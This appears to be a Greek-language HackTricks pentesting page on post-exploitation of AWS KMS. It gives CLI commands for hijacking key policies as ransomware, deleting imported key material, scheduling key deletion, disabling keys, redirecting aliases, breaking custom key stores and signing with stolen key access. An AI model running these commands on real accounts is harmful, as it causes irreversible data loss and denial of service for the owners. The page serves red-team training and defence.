AWS - KMS Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

KMS

Για περισσότερες πληροφορίες δείτε:

AWS - KMS Enum

Κρυπτογράφηση/Αποκρυπτογράφηση πληροφοριών

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Διαβάζει το αρχείο σε δυαδική μορφή, συνήθως χρησιμοποιείται για μη-κειμενικά αρχεία.
  • file://: Διαβάζει το αρχείο σε μορφή κειμένου, τυπικά χρησιμοποιείται για αρχεία απλού κειμένου, scripts, ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης.

Tip

Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει δυαδικά δεδομένα, όχι δεδομένα σε base64 κωδικοποίηση. (fileb://)

  • Χρήση συμμετρικού κλειδιού
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Χρήση ενός ασύμμετρου κλειδιού:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ένας επιτιθέμενος με προνομιακή πρόσβαση στο KMS μπορεί να τροποποιήσει την πολιτική του KMS για τα keys και να χορηγήσει στον λογαριασμό του πρόσβαση σε αυτά, αφαιρώντας την πρόσβαση που είχε χορηγηθεί στον νόμιμο λογαριασμό.

Στη συνέχεια, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία από οποιαδήποτε υπηρεσία έχει κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα εύκολο αλλά αποτελεσματικό ransomware στον λογαριασμό.

Warning

Σημειώστε ότι AWS managed keys aren’t affected από αυτή την επίθεση, μόνο Customer managed keys.

Σημειώστε επίσης την ανάγκη χρήσης της παραμέτρου --bypass-policy-lockout-safety-check (η έλλειψη αυτής της επιλογής στην web console καθιστά αυτή την επίθεση δυνατή μόνο από το CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Σημειώστε ότι αν αλλάξετε αυτή την policy και δώσετε πρόσβαση μόνο σε έναν εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα policy για να επιστρέψετε την πρόσβαση στον αρχικό λογαριασμό, δεν θα μπορείτε γιατί η Put Polocy action cannot be performed from a cross account.

Γενικό KMS Ransomware

Υπάρχει ένας άλλος τρόπος για να πραγματοποιήσετε ένα παγκόσμιο KMS Ransomware, που θα περιλάμβανε τα ακόλουθα βήματα:

  • Δημιουργήστε ένα νέο key with a key material που έχει εισαχθεί από τον επιτιθέμενο
  • Re-encrypt older data του θύματος που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση χρησιμοποιώντας τη νέα
  • Delete the KMS key
  • Τώρα μόνο ο επιτιθέμενος, που έχει το αρχικό key material, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα

Διαγραφή κλειδιών μέσω kms:DeleteImportedKeyMaterial

Με την άδεια kms:DeleteImportedKeyMaterial, ένας παράγοντας μπορεί να διαγράψει το εισαγόμενο key material από CMKs με Origin=EXTERNAL (CMKs που έχουν εισάγει το key material τους), καθιστώντας τα ανίκανα να αποκρυπτογραφήσουν δεδομένα. Αυτή η ενέργεια είναι καταστροφική και μη αναστρέψιμη εκτός εάν επανεισαχθεί συμβατό material, επιτρέποντας σε έναν επιτιθέμενο να προκαλέσει στην ουσία απώλεια δεδομένων τύπου ransomware, καθιστώντας τις κρυπτογραφημένες πληροφορίες μόνιμα μη προσβάσιμες.

aws kms delete-imported-key-material --key-id <Key_ID>

Καταστροφή κλειδιών

Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Σημειώστε ότι η AWS πλέον αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross-account:

Change or delete Alias

Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, διακόπτοντας την επίλυση του κλειδιού και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες βασίζονται σε αυτά τα aliases, με αποτέλεσμα ένα denial-of-service. Με δικαιώματα όπως kms:DeleteAlias ή kms:UpdateAlias ένας επιτιθέμενος μπορεί να αφαιρέσει ή να επανακατευθύνει aliases και να διαταράξει κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει έως ότου το alias αποκατασταθεί ή αντιστοιχιστεί σωστά.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Ακύρωση Διαγραφής Key

Με δικαιώματα όπως kms:CancelKeyDeletion και kms:EnableKey, ένας δράστης μπορεί να ακυρώσει μια προγραμματισμένη διαγραφή ενός AWS KMS customer master key και να το επανενεργοποιήσει αργότερα. Με αυτόν τον τρόπο ανακτάται το key (αρχικά σε κατάσταση Disabled) και αποκαθίσταται η ικανότητά του να decrypt δεδομένα που είχαν προστατευτεί προηγουμένως, επιτρέποντας exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Απενεργοποίηση κλειδιού

Με την kms:DisableKey άδεια, ένας χρήστης μπορεί να απενεργοποιήσει ένα AWS KMS customer master key (CMK), αποτρέποντάς το από τη χρήση για κρυπτογράφηση ή αποκρυπτογράφηση. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από εκείνο το CMK και μπορεί να προκαλέσει άμεσες διακοπές λειτουργίας ή ένα denial-of-service μέχρι το κλειδί να ενεργοποιηθεί ξανά.

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Με την άδεια kms:DeriveSharedSecret, ένας δράστης μπορεί να χρησιμοποιήσει ένα ιδιωτικό κλειδί που φυλάσσεται στο KMS μαζί με ένα δημόσιο κλειδί που παρέχεται από τον χρήστη για να υπολογίσει ένα κοινό μυστικό ECDH.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Προσποίηση μέσω kms:Sign

Με την άδεια kms:Sign, ένας παράγοντας μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να εκθέσει το ιδιωτικό κλειδί, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν προσποίηση ή να εξουσιοδοτήσουν κακόβουλες ενέργειες.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS με Custom Key Stores

Με δικαιώματα όπως kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ή kms:UpdateCustomKeyStore, ένας παράγων μπορεί να τροποποιήσει, αποσυνδέσει ή διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα κύρια κλειδιά του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεσο denial-of-service. Επομένως, ο περιορισμός και η παρακολούθηση αυτών των δικαιωμάτων είναι κρίσιμη.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks